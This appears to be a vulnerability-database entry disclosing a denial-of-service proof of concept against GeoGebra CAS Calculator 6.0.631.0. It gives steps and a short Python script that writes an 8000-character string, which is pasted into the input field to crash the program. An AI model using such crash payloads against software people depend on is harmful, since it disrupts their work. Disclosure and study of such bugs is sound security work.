发布 2021-03-16 漏洞条目

GeoGebra CAS Calculato‪r‬ 6.0.631.0 – Denial of Service (PoC)

Exploit Source

# Exploit Title: GeoGebra CAS Calculato‪r‬ 6.0.631.0 - Denial of Service (PoC)

# Date: 2021-03-15

# Exploit Author: Brian Rodriguez

# Vendor Homepage: https://www.geogebra.org

# Software Link: https://www.geogebra.org/download

# Version: 6.0.631.0-offlinecas

# Tested on: Windows 8.1 Pro

# STEPS

# Open the program Calculadora CAS

# Run the python exploit script payload.py, it will create a new payload.txt file

# Copy the content of the file "payload.txt"

# Paste the content from payload.txt in the field "Entrada..."

# Crashed

--> payload.py <--

#!/usr/bin/env python

buffer = "\x41" * 8000

try:

f = open("payload.txt","w")

f.write(buffer)

f.close()

print ("File created")

except:

print ("File cannot be created")

相关漏洞条目